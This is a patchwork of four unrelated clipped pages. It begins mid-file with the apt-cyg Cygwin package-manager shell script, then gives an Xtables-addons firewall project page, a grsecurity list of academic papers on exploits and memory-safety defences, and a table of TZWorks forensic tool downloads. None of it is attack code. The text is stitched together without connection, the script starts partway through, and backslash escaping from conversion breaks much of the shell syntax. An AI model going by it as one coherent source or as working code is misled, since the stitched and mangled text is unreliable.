if test "-$WGET-" = "\--" || test "-$BZIP2-" = "\--" || test "-$TAR-" = "\--"
\

|| test "-$GAWK-" = "\--"

then

echo You must install wget, tar, gawk and bzip2 to use apt-cyg.

exit 1

fi

  

  

function usage\(\)

\{

echo apt-cyg: Installs and removes Cygwin packages.

echo " \"apt-cyg install <package names>\" to install packages"

echo " \"apt-cyg remove <package names>\" to remove packages"

echo " \"apt-cyg update\" to update setup.ini"

echo " \"apt-cyg show\" to show installed packages"

echo " \"apt-cyg find <patterns>\" to find packages matching patterns"

echo " \"apt-cyg describe <patterns>\" to describe packages matching patterns"

echo " \"apt-cyg packageof <commands or files>\" to locate parent packages"

echo "Options:"

echo " \--mirror, -m <url> : set mirror"

echo " \--cache, -c <dir> : set cache"

echo " \--file, -f <file> : read package names from file"

echo " \--help"

echo " \--version"

\}

  

  

  

function version\(\)

\{

echo "apt-cyg version 0.56"

echo "Written by Stephen Jungels"

echo ""

echo "Copyright \(c\) 2005, 2006 Stephen Jungels. Released under the GPL."

\}

  

  

function findworkspace\(\)

\{

\# default working directory and mirror

mirror=ftp://mirror.mcs.anl.gov/pub/cygwin

cache=/setup

\# work wherever setup worked last, if possible

if test -e /etc/setup/last-cache

then

tmp="\`head -1 /etc/setup/last-cache\`"

cache="\`cygpath -au "$tmp"\`"

fi

if test -e /etc/setup/last-mirror

then

mirror="\`head -1 /etc/setup/last-mirror\`"

fi

mirrordir="\`echo "$mirror" | sed -e "s/:/%3a/g" -e "s:/:%2f:g"\`"
echo Working directory is $cache

echo Mirror is $mirror

mkdir -p "$cache/$mirrordir"

cd "$cache/$mirrordir"

\}

  

  

function getsetup\(\)

\{

touch setup.ini

mv setup.ini setup.ini-save

wget $mirror/setup.bz2

if test -e setup.bz2 && test $? -eq 0

then

bunzip2 setup.bz2

mv setup setup.ini

echo Updated setup.ini

else

wget $mirror/setup.ini

if test -e setup.ini && test $? -eq 0

then

echo Updated setup.ini

else

mv setup.ini-save setup.ini

echo Error updating setup.ini, reverting

fi

fi

\}

  

  

function checkpackages\(\)

\{

if test "-$packages-" = "\--"

then

echo Nothing to do, exiting

exit 0

fi

\}

  

  

\# process options

  

noscripts=0

file=""

dofile=0

command=""

filepackages=""

packages=""

  

while test $\# -gt 0

do

case "$1" in

  

\--mirror|-m\)

echo "$2"> /etc/setup/last-mirror

shift ; shift

;;

  

\--cache|-c\)

cygpath -aw "$2"> /etc/setup/last-cache

shift ; shift

;;

  

\--noscripts\)

noscripts=1

shift

;;

  

\--help\)

usage

exit 0

;;

  

\--version\)

version

exit 0

;;

  

\--file|-f\)

if \! test "-$2-" = "\--"

then

file="$2"

dofile=1

shift

else

echo 1>&2 No file name provided, ignoring $1

fi

shift

;;

  

update|show|find|describe|packageof|install|remove\)

if test "-$command-" = "\--"

then

command=$1

else

packages="$packages $1"

fi

shift

  

;;

  

\*\)

packages="$packages $1"

shift

  

;;

  

esac

done

  

  

if test $dofile = 1

then

if test -f "$file"

then

filepackages="$filepackages \`cat "$file" | awk '\{printf "%s ", $0\}'\`"
else

echo File $file not found, skipping

fi

packages="$packages $filepackages"

fi

  

  

case "$command" in

  

update\)

  

findworkspace

getsetup

  

;;

  

  

show\)

  

echo 1>&2 The following packages are installed:

cat /etc/setup/installed.db | awk '/\[^ \]+ \[^ \]+ 0/ \{print $1\}'
  

;;

  

  

find\)

  

checkpackages

findworkspace

getsetup

  

for pkg in $packages

do

echo ""

echo Searching for installed packages matching $pkg:

awk '/\[^ \]+ \[^ \]+ 0/ \{if \($1 ~ query\) print $1\}' query="$pkg"
/etc/setup/installed.db

echo ""

echo Searching for installable packages matching $pkg:

cat setup.ini | awk -v query="$pkg" \
'BEGIN\{RS="\n\n@ "; FS="\n"; ORS="\n"\} \{if \($1 ~ query\) \{print $1\}\}'

done

  

;;

  

  

describe\)

  

checkpackages

findworkspace

getsetup

for pkg in $packages

do

echo ""

cat setup.ini | awk -v query="$pkg" \
'BEGIN\{RS="\n\n@ "; FS="\n"; ORS="\n"\} \{if \($1 ~ query\) \{print $0
"\n"\}\}'

done

  

;;

  

  

packageof\)

  

checkpackages

for pkg in $packages

do

key=\`which "$pkg" 2>/dev/null | sed "s:^/::"\`
if test "-$key-" = "\--"

then

key="$pkg"

fi

for manifest in /etc/setup/\*.lst.gz

do

found=\`cat $manifest | gzip -d | grep -c "$key"\`
if test $found -gt 0

then

package=\`echo $manifest | sed -e "s:/etc/setup/::" -e "s/.lst.gz//"\`
echo Found $key in the package $package

fi

done

done

  

;;

  

  

install\)

  

checkpackages

findworkspace

getsetup

  

for pkg in $packages

do

  

already=\`grep -c "^$pkg " /etc/setup/installed.db\`

if test $already -ge 1

then

echo Package $pkg is already installed, skipping

continue

fi

echo ""

echo Installing $pkg

  

\# look for package and save desc file

  

mkdir -p "release/$pkg"

cat setup.ini | awk >"release/$pkg/desc" -v package="$pkg" \ 
'BEGIN\{RS="\n\n@ "; FS="\n"\} \{if \($1 == package\) \{desc = $0; px++\}\} \

END \{if \(px == 1 && desc \!= ""\) print desc; else print "Package not
found"\}'

desc=\`cat "release/$pkg/desc"\`

if test "-$desc-" = "-Package not found-"

then

echo Package $pkg not found or ambiguous name, exiting

rm -r "release/$pkg"

exit 1

fi

echo Found package $pkg

\# download and unpack the bz2 file

\# pick the latest version, which comes first

install=\`cat "release/$pkg/desc" | awk '/install: / \{ print $2; exit \}'\` 
file=\`basename $install\`

cd "release/$pkg"

wget -nc $mirror/$install

\# check the md5

digest=\`cat "desc" | awk '/install: / \{ print $4; exit \}'\` 
digactual=\`md5sum $file | awk '\{print $1\}'\`
if \! test $digest = $digactual

then

echo MD5 sum did not match, exiting

exit 1

fi

echo "Unpacking..."

cat $file | bunzip2 | tar >"/etc/setup/$pkg.lst" xvf - -C / 
gzip -f "/etc/setup/$pkg.lst"

cd ../..

\# update the package database

cat /etc/setup/installed.db | awk > /tmp/awk.$$ -v pkg="$pkg" -v bz=$file \
'\{if \(ins \!= 1 && pkg < $1\) \{print pkg "" bz " 0"; ins=1\}; print $0\} \

END\{if \(ins \!= 1\) print pkg "" bz " 0"\}'

mv /etc/setup/installed.db /etc/setup/installed.db-save

mv /tmp/awk.$$ /etc/setup/installed.db

\# recursively install required packages

echo > /tmp/awk.$$ '/^requires: / \{s=gensub\("\(requires: \)?\(\[^ \]+\) ?",
"\\\2 ", "g", $0\); print s\}'

requires=\`cat "release/$pkg/desc" | awk -f /tmp/awk.$$\`
warn=0

if \! test "-$requires-" = "\--"

then

echo Package $pkg requires the following packages, installing:

echo $requires

for package in $requires

do

already=\`grep -c "^$package " /etc/setup/installed.db\`

if test $already -ge 1

then

echo Package $package is already installed, skipping

continue

fi

apt-cyg --noscripts install $package

if \! test $? = 0 ; then warn=1; fi

done

fi

if \! test $warn = 0

then

echo "Warning: some required packages did not install, continuing"

fi

\# run all postinstall scripts

pis=\`ls /etc/postinstall/\*.sh 2>/dev/null | wc -l\`
if test $pis -gt 0 && \! test $noscripts -eq 1

then

echo Running postinstall scripts

for script in /etc/postinstall/\*.sh

do

$script

mv $script $script.done

done

fi

echo Package $pkg installed

  

done

  

;;

  

  

remove\)

  

checkpackages

for pkg in $packages

do

  

already=\`grep -c "^$pkg " /etc/setup/installed.db\`

if test $already = 0

then

echo Package $pkg is not installed, skipping

continue

fi

  

dontremove="cygwin coreutils gawk bzip2 tar wget bash"

for req in $dontremove

do

if test "-$pkg-" = "-$req-"

then

echo apt-cyg cannot remove package $pkg, exiting

exit 1

fi

done

  

if \! test -e "/etc/setup/$pkg.lst.gz"

then

echo Package manifest missing, cannot remove $pkg. Exiting

exit 1

fi

echo Removing $pkg

  

\# run preremove scripts

  

if test -e "/etc/preremove/$pkg.sh"

then

"/etc/preremove/$pkg.sh"

rm "/etc/preremove/$pkg.sh"

fi

  

cat "/etc/setup/$pkg.lst.gz" | gzip -d | awk '/\[^\/\]$/ \{print "rm -f \"/" $0 "\""\}' | sh
rm "/etc/setup/$pkg.lst.gz"

rm -f /etc/postinstall/$pkg.sh.done

cat /etc/setup/installed.db | awk > /tmp/awk.$$ -v pkg="$pkg"'\{if \(pkg \!= $1\) print $0\}'
mv /etc/setup/installed.db /etc/setup/installed.db-save

mv /tmp/awk.$$ /etc/setup/installed.db

echo Package $pkg removed

  

done

  

;;

  

\*\)

  

usage

  

;;

  

esac

  

# Xtables-addons – Netfilter/Xtables \(iptables\) extensions

**Created:**| _7/30/2013 1:38:56 PM_  
---|---  
**Updated:**| _7/30/2013 1:38:56 PM_  
**Author:**| __  
**Tags:**| _DoS Firewalls_  
  

#  **X** tables-addons****

Home  | Project overview  | Downloads  | GitWeb  \(git://git.code**.** sf.net/p/xtables-addons/xtables-addons \)
* * *
_Xtables-addons_ is a set of additional extensions for the Xtables packet
filter that is present in the Linux kernel \(which is loosely known by its
administrative commands iptables/ip6tables/etc**.**\).

Xtables-addons is the successor to patch-o-matic\(-ng\)**.** Likewise, it
contains extensions that were not, or are not yet, accepted in the main
kernel/iptables packages**.**

Xtables-addons is different from patch-o-matic in that you do not have to
patch or recompile the kernel, sometimes recompiling iptables is also not
needed**.** But please see the `INSTALL ` file for the minimum requirements of
this package**.**

patch-o-matic suffered from a number of problems:

  * patch-o-matic was designed to patch and recompile kernel \(using up valuable time\)
  * multiarch and endianess issues often ignored, making the modules not work on x86\_64, much less on sparc64**.**
  * some security issues — error handling was missing sometimes that could lead to an oops
  * code was generally unreviewed
  * pom modules have not received any real updates in months
  * and from a purely maintenance pov: pom modules replicated the glue to work with multiple kernels in their files..**.**

## Availability****

  * Many distributions already have packages ready for installation**\!** \(Use them.\)
  * We try to keep track of known packages and versions \(of not only Xtables-addons, but the entire Netfilter stack\), and write them down the results in the Availability Matrix **.**
  * xt\_geoip database installation instructions 

## Module list****

  * Listing  of the incorporated modules**.**

## Support****

Send anything Xtables-addons related to the `netfilter-devel` list that is
handled through vger.kernel.org or various alternate services, such as
Gmane**.** Subscription is not necessary, just post to it.

Alternatively, you can try in `irc.freenode.net`'s `#netfilter` channel; but
the mailing list is a place where things do not go unseen as easily**.**

## Additional resources****

This page was last modified: 2013-02-06 02:53 UTC| xtables-addons**.** sf.net  
---|---  
****

# grsecurity

**Created:**| _12/14/2009 8:06:21 AM_  
---|---  
**Updated:**| _12/14/2009 8:06:43 AM_  
**Author:**| __  
**Tags:**| _Exploit papers Linux_  
  
Academic Research Publications Mentioning grsecurity/PaX  
<img src='img/Temp2_10272.gif' width='482' height='1' />We provide below links
to academic research papers publications which mention grsecurity and/or PaX.
If the full text PDF of the publication was not available, a link to its
abstract is given. If you know of, or are the author of a research paper which
should be included here, please contact me.  
---  
1. Microsoft Research - RandSys: Thwarting Code Injection Attacks with System Service Interface Randomization, 2007  
  
2. Microsoft Research - Data Randomization, 2008  
  
3. Microsoft Research - Control-flow integrity, 2005  
  
4. StackGhost: Hardware Facilitated Stack Protection, 2001  
  
5. Secure program execution via dynamic information flow tracking, 2006  
  
6. Type-Assisted Dynamic Buffer Overflow Detection, 2002  
  
7. Address obfuscation: An efficient approach to combat a broad range of memory error exploits, 2003  
  
8. Protecting global and static variables from buffer overflow attacks without overhead, 2006  
  
9. Context Sensitive Anomaly Monitoring of Process Control Flow to Detect Mimicry Attacks and Impossible Paths, 2004  
  
10. A Methodology for Designing Countermeasures Against Current and Future Code Injection Attacks, 2005  
  
11. e-nexsh: Achieving an effectively non-executable stack and heap via system-call policing, 2005  
  
12. Stackguard: Simple smash stack protection for GCC, 2003  
  
13. Run-time detection of heap-based overflows, 2003  
  
14. Avoiding Buffer Overflows and Related Problems, 2004  
  
15. Server Protection through Dynamic Patching, 2005  
  
16. SELinux and grsecurity: A Side-by-Size Comparison of Mandatory Access Control and Access Control List Implementations, 2003  
  
17. SELinux and grsecurity: A Case Study Comparing Linux Security Kernel Enhancements, 2003  
  
18. RSBAC-a framework for enhanced Linux system security, 2005  
  
19. Secure computing: SELinux, 2007  
  
20. Attacking Signed Binaries, 2005  
  
21. Distributed control enabling consistent MAC policies and IDS based on a meta-policy approach, 2006  
  
22. Formalisation et garantie de propriétés de sécurité système: application à la détection d'intrusions, 2007  
  
23. Securing a Linux-based Multi-User Web Server, 2006  
  
24. Exploiting 802.11 Wireless Driver Vulnerabilities on Windows, 2006  
  
25. Détection D'intrusion Orientée Méta-Politique, 2005  
  
26. Abstract Efficient Techniques for Comprehensive Protection from Memory Error Exploits, 2005  
  
27. Predicting Security Vulnerabilities from Function Calls, 2007  
  
28. ARMORY: An auxiliary testing tool for automatic buffer overflow vulnerability detection, 2008  
  
29. Next generation debuggers for reverse engineering, 2007  
  
30. Centralized security policy support for virtual machine, 2006  
  
31. Secure remote management and software distribution for wireless mesh networks, 2007  
  
32. Attack-Redirector: A Server Protection and Honeypot Bait System, 2008  
  
33. A novel approach for distributed updates of MAC policies using a meta-protection framework, 2004  
  
34. A Linux Implementation of Temporal Access Controls, 2007  
  
35. FormatShield: A Binary Rewriting Defense against Format String Attacks, 2008  
  
36. Playing with ptrace\(\) for fun and profit, 2006  
  
37. Increasing Information Security with Mandatory Access Controls in the Operating System, 2006  
  
38. Address Space Layout Permutation: Increasing Resistance to Memory Corruption Attacks, 2005  
  
39. Automatic Synthesis of Filters to Discard Buffer Overflow Attacks: A Step Towards Realizing Self-Healing Systems, 2005  
  
40. On the effectiveness of address-space randomization, 2004  
  
41. Collaboration between MAC Policies and IDS based on a Meta-Policy approach, 2006  
  
42. An Architectural Approach to Preventing Code Injection Attacks, 2007  
  
43. Alternative Xbox copy protection designs, 2005  
  
44. Software Security through Targeted Diversification, 2007  
  
45. Code Injection Attacks on Harvard-Architecture Devices, 2008  
  
46. When good instructions go bad: generalizing return-oriented programming to RISC, 2008  
  
47. Covert Debugging Circumventing Software Armoring Techniques, 2007  
  
48. Buffer Overflow Vulnerabilities: Exploits and Defensive Techniques, 2004  
  
49. Multi-variant Program Execution: Using Multi-core Systems to Defuse Buffer-Overflow Vulnerabilities, 2008  
  
50. The FOREVER service for fault/intrusion removal, 2008  
  
51. Detection and Subversion of Virtual Machines, 2006  
  
52. Persistence in dynamic code transformation systems, 2005  
  
53. Panel: The Future of Biologically-Inspired Security: Is There Anything Left to Learn?, 2007  
  
54. Improved Network Security and Disguising TCP/IP Fingerprint through Dynamic Stack Modification, 2005  
  
55. Corruption de la Memoire lors de l'Exploitation, 2006  
  
56. Defeating memory corruption attacks via pointer taintedness detection, 2005  
  
57. Immunology, diversity, and homeostasis: The past and future of biologically inspired computer defenses, 2007  
  
58. Insecure Context Switching: Inoculating regular expressions for survivability, 2008  
  
59. Ensuring secure program execution in multiprocessor embedded systems: a case study, 2007  
  
60. Defeating Compiler-Level Buffer Overflow Protection, 2006  
  
61. Reverse Stack Execution, 2007  
  
62. Secure and practical defense against code-injection attacks using software dynamic translation, 2006  
  
63. Omniunpack: Fast, generic, and safe unpacking of malware, 2007  
  
64. Prevention of code-injection attacks by encrypting system call arguments, 2006  
  
65. Non-control-data attacks are realistic threats, 2005  
  
66. Combating Memory Corruption Attacks On Scada Devices, 2008  
  
67. Address-space randomization for Windows systems, 2006  
  
68. DieHard: Probabilistic memory safety for unsafe languages, 2006  
  
69. Secure Bit: Transparent, Hardware Buffer-Overflow Protection, 2006  
  
70. Improving address space randomization with a dynamic offset randomization technique, 2006  
  
71. x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique, 2005  
  
72. Known/chosen key attacks against software instruction set randomization, 2006  
  
73. A Survey of Randomization Techniques Against Common Mode Attacks, 2005  
  
74. An immune system inspired approach for protection from repetitive attacks, 2005  
  
75. Efficient protection against heap-based buffer overflows without resorting to magic, 2006  
  
76. Resilient Intrusion Tolerance through Proactive and Reactive Recovery, 2007  
  
77. Virtual machine-provided context sensitive page mappings, 2008  
  
78. Persistent code caching: Exploiting code reuse across executions and applications, 2007  
  
79. The geometry of innocent flesh on the bone: Return-into-libc without function calls \(on the x86\), 2007  
  
80. ARCHERR: Runtime environment driven program safety, 2004  
  
81. Foreign Code Detection on the Windows/X86 Platform, 2006  
  
82. Where's the FEEB?: The effectiveness of instruction set randomization, 2005  
  
83. Efficient techniques for comprehensive protection from memory error exploits, 2005  
  
84. Exterminator: Automatically correcting memory errors with high probability, 2007  
  
85. Automatic diagnosis and response to memory corruption vulnerabilities, 2005  
  
86. Data space randomization, 2008  
  
87. The Evolution of System-Call Monitoring, 2008  
  
88. MemSherlock: an automated debugger for unknown memory corruption vulnerabilities, 2007  
  
89. DIRA: Automatic Detection, Identification, and Repair of Control-Hijacking Attacks, 2004  
  
90. A practical mimicry attack against powerful system-call monitors, 2008  
  
91. SigFree: A Signature-free Buffer Overflow Attack Blocker, 2006  
  
92. Kernel Support for Redundant Execution on Multiprocessor Systems, 2007  
  
93. Kernel Support for Deterministic Redundant Execution of Shared Memory Workloads on Multiprocessor Systems, 2007  
  
94. Real-world buffer overflow protection for userspace & kernelspace, 2008  
  
95. ASLR Smack & Laugh Reference: Seminar on Advanced Exploitation Techniques, 2008  
  
96. Comprehensively and efficiently protecting the heap, 2006  
  
97. Hardened OS exploitation techniques, 2004  
  
98. A Security Architecture for Microprocessors, 2003  
  
99. Hypervisor support for identifying covertly executing binaries, 2008  
  
100. Using instruction block signatures to counter code injection attacks, 2005  
  
101. Automatic generation of buffer overflow attack signatures: An approach based on program behavior models, 2005  
  
102. Address space layout permutation \(ASLP\): Towards fine-grained randomization of commodity software, 2006  
  
103. Bezoar: Automated Virtual Machine-based Full-System Recovery from Control-Flow Hijacking Attacks, 2007  
  
104. Deploying dynamic code transformation in modern computing environments, 2006  
  
105. Binary rewriting and call interception for efficient runtime protection against buffer overflows, 2006  
  
106. Control-flow integrity: Principles, implementations, and applications, 2005  
  
107. Randomized instruction set emulation, 2005  
  
108. Implementation vulnerabilities and detection, 2007  
  
109. Proactive Obfuscation, 2009  
  
110. Orchestra: Intrusion Detection Using Parallel Execution and Monitoring of Program Variants in User-Space, 2009  
  
111. An Integrated Framework for Dependable and Revivable Architectures Using Multicore Processors, 2006  
  
112. Paladin: Helping Programs Help Themselves with System Call Interposition, 2009  
  
113. Automatic Generation of Control Flow Hijacking Exploits for Software Vulnerabilities, 2009  
  
114. Classification of Malicious Distributed SELinux Activities, 2009  
  
115. Polymorphing Software By Randomizing Data Structure Layout, 2009  
  
116. Yataglass: Network-Level Code Emulation for Analyzing Memory-Scanning Attacks, 2009  
  
117. Finding the Bad in Good Code: Automated Return-Oriented Programming Exploit Discovery, 2009  
  
118. Experimental Validation of Architectural Solutions, 2009  
  
119. Multi-Variant Execution: Run-Time Defense against Malicious Code Injection Attacks, 2009  
  
120. Breaking the memory secrecy assumption, 2009  
  
121. Security by Design, 2009  
  
122. The Impact of Linux Superuser Privileges on System and Data Security within a Cloud Computing Storage Architecture, 2009  
  
123. Return-oriented rootkits: Bypassing kernel code integrity protection mechanisms, 2009  
  
124. Specification and evaluation of polymorphic shellcode properties using a new temporal logic, 2009  
  
125. Yataglass: Network-level Code Emulation for Analyzing Memory-scanning Attacks, 2009  
  
126. Protecting Xen hypercalls, 2009  
  
127. Automated Software Vulnerability Analysis \[abstract\], 2009  
  
128. Probability Based Risk Analysis for a VoIP System \[abstract\], 2009  
  
129. A DLL Protection Mechanism with Larger Random Entropy for Windows Vista \[abstract\], 2009  
  
130. Dynamic integrity measurement and attestation: towards defense against return-oriented programming attacks \[abstract\], 2009  
  
131. Address-space layout randomization using code islands \[abstract\], 2009  
  
132. Security Systems Design and Analysis Using an Integrated Rule-Based Systems Approach \[abstract\], 2005  
  
133. AIFD: A Runtime Solution to Buffer Overflow Attack \[abstract\], 2007  
  
134. Hardware Stack Design: Toward an Effective Defence Against Frame Pointer Overwrite Attacks \[abstract\], 2006  
  
135. An Efficient Pointer Protection Scheme to Defend Buffer Overflow Attacks \[abstract\], 2005  
  
136. Design and Implementation of an Extended Reference Monitor for Trusted Operating Systems \[abstract\], 2006  
  
137. Enforcement of Integrated Security Policy in Trusted Operating Systems \[abstract\], 2007  
  
138. Application of an Online Judge & Contester System in Academic Tuition \[abstract\], 2008  
  
139. Return Address Randomization Scheme for Annuling Data-Injection Buffer Overflow Attacks \[abstract\], 2006  
  
140. Rootkit modeling and experiments under Linux \[abstract\], 2008  
  
141. PrISM: Automatic Detection and Prevention from Cyber Attacks \[abstract\], 2008  
  
142. A Theory of Secure Control Flow \[abstract\], 2005  
  
143. Detection and Diagnosis of Control Interception \[abstract\], 2008  
  
144. Efficient and Practical Control Flow Monitoring for Program Security \[abstract\], 2008  
  
145. Static Analysis on x86 Executables for Preventing Automatic Mimicry Attacks \[abstract\], 2007  
  
146. Linux 2.6 kernel exploits \[abstract\], 2007  
  
147. A Policy Language for the Extended Reference Monitor in Trusted Operating Systems \[abstract\], 2007  
  
148. Intrusion detection and security policy framework for distributed environments \[abstract\], 2005  
  
149. Integration of trusted operating system from open source \[abstract\], 2003  
  
150. Towards the specification of access control policies on multiple operating systems \[abstract\], 2004  
  
151. Detecting kernel-level rootkits through binary analysis \[abstract\], 2004  
  
152. A Collaborative Approach for Access Control, Intrusion Detection and Security Testing \[abstract\], 2006  
  
153. Buffer overflow protection based on adjusting code segment limit \[abstract\], 2005  
  
154. The Design of a Generic Intrusion Tolerant Architecture for Web Servers \[abstract\], 2008  
  
155. Supporting access control policies across multiple operating systems \[abstract\], 2005  
  
156. Model-driven configuration of os-level mandatory access control: research abstract \[abstract\], 2008  
  
157. A simple implementation and performance evaluation extended-role based access control \[abstract\], 2005  
  
158. Design space and analysis of worm defense strategies \[abstract\], 2006  
  
159. ASSURE: automatic software self-healing using rescue points \[abstract\], 2009  
  
160. Self-healing control flow protection in sensor applications \[abstract\], 2009  
  
161. Return Protector: A Protection Mechanism for Return-into-libc Attacks by Checking the Return Address \[abstract\], 2009  
  
162. A specification language for information security policies \[abstract\], 2009  
  
163. DROP: Detecting Return-Oriented Programming Malicious Code \[abstract\], 2009  
  
164. Enforcement of Security Properties for Dynamic MAC Policies \[abstract\], 2009  
  
165. Generation of Role Based Access Control Security Policies for Java Collaborative Applications \[abstract\], 2009  
  
166. A Lightweight Buffer Overflow Protection Mechanism with Failure-Oblivious Capability \[abstract\], 2009  

# TZWorks LLC Prototype Downloads for Forensic tools

**Created:**| _9/27/2013 10:59:45 AM_  
---|---  
**Updated:**| _9/27/2013 10:59:45 AM_  
**Author:**| __  
**Tags:**| _security tools analysis_  
  

**Artifact Analysis** \(top\)

  

##### Windows Prefetch Parser \(pf\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| pf32.v.1.00.win.zip| pf64.v.1.00.win.zip| md5/sha1  
| **Linux:**| pf32.v.1.00.lin.tar.gz\*| pf64.v.1.00.lin.tar.gz| md5/sha1  
| **Mac OS X:**| pf.v.1.00.osx.tar.gz| pf.v.1.00.osx.tar.gz| md5/sha1  
##### Windows 'index.dat' Parser \(id\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| id32.v.0.60.win.zip| id64.v.0.60.win.zip| md5/sha1  
| **Linux:**| id32.v.0.60.lin.tar.gz\*| id64.v.0.60.lin.tar.gz| md5/sha1  
| **Mac OS X:**| id.v.0.60.osx.tar.gz| id.v.0.60.osx.tar.gz| md5/sha1  
##### Windows LNK Parsing Utility \(lp\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| lp32.v.0.57.win.zip| lp64.v.0.57.win.zip| md5/sha1  
| **Linux:**| lp32.v.0.57.lin.tar.gz\*| lp64.v.0.57.lin.tar.gz| md5/sha1  
| **Mac OS X:**| lp.v.0.57.osx.tar.gz| lp.v.0.57.osx.tar.gz| md5/sha1  
##### Windows USB Storage Parser \(usp\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| usp32.v.0.23.win.zip| usp64.v.0.23.win.zip| md5/sha1  
| **Linux:**| usp32.v.0.23.lin.tar.gz\*| usp64.v.0.23.lin.tar.gz| md5/sha1  
| **Mac OS X:**| usp.v.0.23.osx.tar.gz| usp.v.0.23.osx.tar.gz| md5/sha1  
##### Windows Jump List Parser \(jmp\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| jmp32.v.0.22.win.zip| jmp64.v.0.22.win.zip| md5/sha1  
| **Linux:**| jmp32.v.0.22.lin.tar.gz\*| jmp64.v.0.22.lin.tar.gz| md5/sha1  
| **Mac OS X:**| jmp.v.0.22.osx.tar.gz| jmp.v.0.22.osx.tar.gz| md5/sha1  
* * *
  
**Registry and Event Log Analysis** \(top\)

  

##### Yet Another Registry Utility \(yaru\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| yaru32.v.1.27.win.zip| yaru64.v.1.27.win.zip| md5/sha1  
| **Linux:**| yaru32.v.1.27.lin.tar.gz\*| yaru64.v.1.27.lin.tar.gz| md5/sha1  
| **Mac OS X:**|  Not Available| yaru.v.1.27.osx.tar.gz| md5/sha1  
##### Windows Event Log Viewer \(evtx\_view\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| evtx\_view32.v.0.72.win.zip| evtx\_view64.v.0.72.win.zip|
md5/sha1  
| **Linux:**| evtx\_view32.v.0.72.lin.tar.gz\*|
evtx\_view64.v.0.72.lin.tar.gz| md5/sha1  
| **Mac OS X:**|  Not Available| evtx\_view.v.0.72.osx.tar.gz| md5/sha1  
##### Windows ShellBag Parser \(sbag\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| sbag32.v.0.32.win.zip| sbag64.v.0.32.win.zip| md5/sha1  
| **Linux:**| sbag32.v.0.32.lin.tar.gz\*| sbag64.v.0.32.lin.tar.gz| md5/sha1  
| **Mac OS X:**| sbag.v.0.32.osx.tar.gz| sbag.v.0.32.osx.tar.gz| md5/sha1  
##### Computer Account Forensic Artifact Extractor \(cafae\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| cafae32.v.0.16.win.zip | cafae64.v.0.16.win.zip| md5/sha1  
| **Linux:**| cafae32.v.0.16.lin.tar.gz\*| cafae64.v.0.16.lin.tar.gz| md5/sha1  
| **Mac OS X:**| cafae.v.0.16.osx.tar.gz| cafae.v.0.16.osx.tar.gz| md5/sha1  
##### Windows Event Log Parser \(evtwalk\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| evtwalk32.v.0.13.win.zip| evtwalk64.v.0.13.win.zip| md5/sha1  
| **Linux:**| evtwalk32.v.0.13.lin.tar.gz\*| evtwalk64.v.0.13.lin.tar.gz|
md5/sha1  
| **Mac OS X:**| evtwalk.v.0.13.osx.tar.gz| evtwalk.v.0.13.osx.tar.gz|
md5/sha1  
* * *
  
**NTFS Filesystem Analysis** \(top\)

  

##### Windows Journal Parser \(jp\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| jp32.v.1.04.win.zip| jp64.v.1.04.win.zip| md5/sha1  
| **Linux:**| jp32.v.1.04.lin.tar.gz\*| jp64.v.1.04.lin.tar.gz| md5/sha1  
| **Mac OS X:**| jp.v.1.04.osx.tar.gz| jp.v.1.04.osx.tar.gz| md5/sha1  
##### NTFS Directory Enumerator \(ntfsdir\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| ntfsdir32.v.1.06.win.zip| ntfsdir64.v.1.06.win.zip| md5/sha1  
| **Linux:**| ntfsdir32.v.1.06.lin.tar.gz\*| ntfsdir64.v.1.06.lin.tar.gz|
md5/sha1  
| **Mac OS X:**| ntfsdir.v.1.06.osx.tar.gz| ntfsdir.v.1.06.osx.tar.gz|
md5/sha1  
##### NTFS File Copy Utility \(ntfscopy\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| ntfscopy32.v.0.74.win.zip| ntfscopy64.v.0.74.win.zip| md5/sha1  
| **Linux:**| ntfscopy32.v.0.74.lin.tar.gz\*| ntfscopy64.v.0.74.lin.tar.gz|
md5/sha1  
| **Mac OS X:**| ntfscopy.v.0.74.osx.tar.gz| ntfscopy.v.0.74.osx.tar.gz|
md5/sha1  
##### Windows $MFT and NTFS Metadata Extractor Tool \(ntfswalk\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| ntfswalk32.v.0.46.win.zip| ntfswalk64.v.0.46.win.zip| md5/sha1  
| **Linux:**| ntfswalk32.v.0.46.lin.tar.gz\*| ntfswalk64.v.0.46.lin.tar.gz|
md5/sha1  
| **Mac OS X:**| ntfswalk.v.0.46.osx.tar.gz| ntfswalk.v.0.46.osx.tar.gz|
md5/sha1  
##### Windows INDX Slack Parser \(wisp\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| wisp32.v.0.17.win.zip| wisp64.v.0.17.win.zip| md5/sha1  
| **Linux:**| wisp32.v.0.17.lin.tar.gz\*| wisp64.v.0.17.lin.tar.gz| md5/sha1  
| **Mac OS X:**| wisp.v.0.17.osx.tar.gz| wisp.v.0.17.osx.tar.gz| md5/sha1  
##### Graphical Engine for NTFS Analysis \(gena\)

|  |  **_32-bit Version_** |  **_64-bit Version_** |   
---|---|---|---|---  
| **Windows:**| gena\_package32.v.0.12.win.zip|
gena\_package64.v.0.12.win.zip| md5/sha1  
| **Linux:**| gena\_package32.v.0.12.lin.zip\*|
gena\_package64.v.0.12.lin.zip| md5/sha1  
| **Mac OS X:**|  Not Available| gena\_package.v.0.12.osx.zip| md5/sha1  
* * *
  
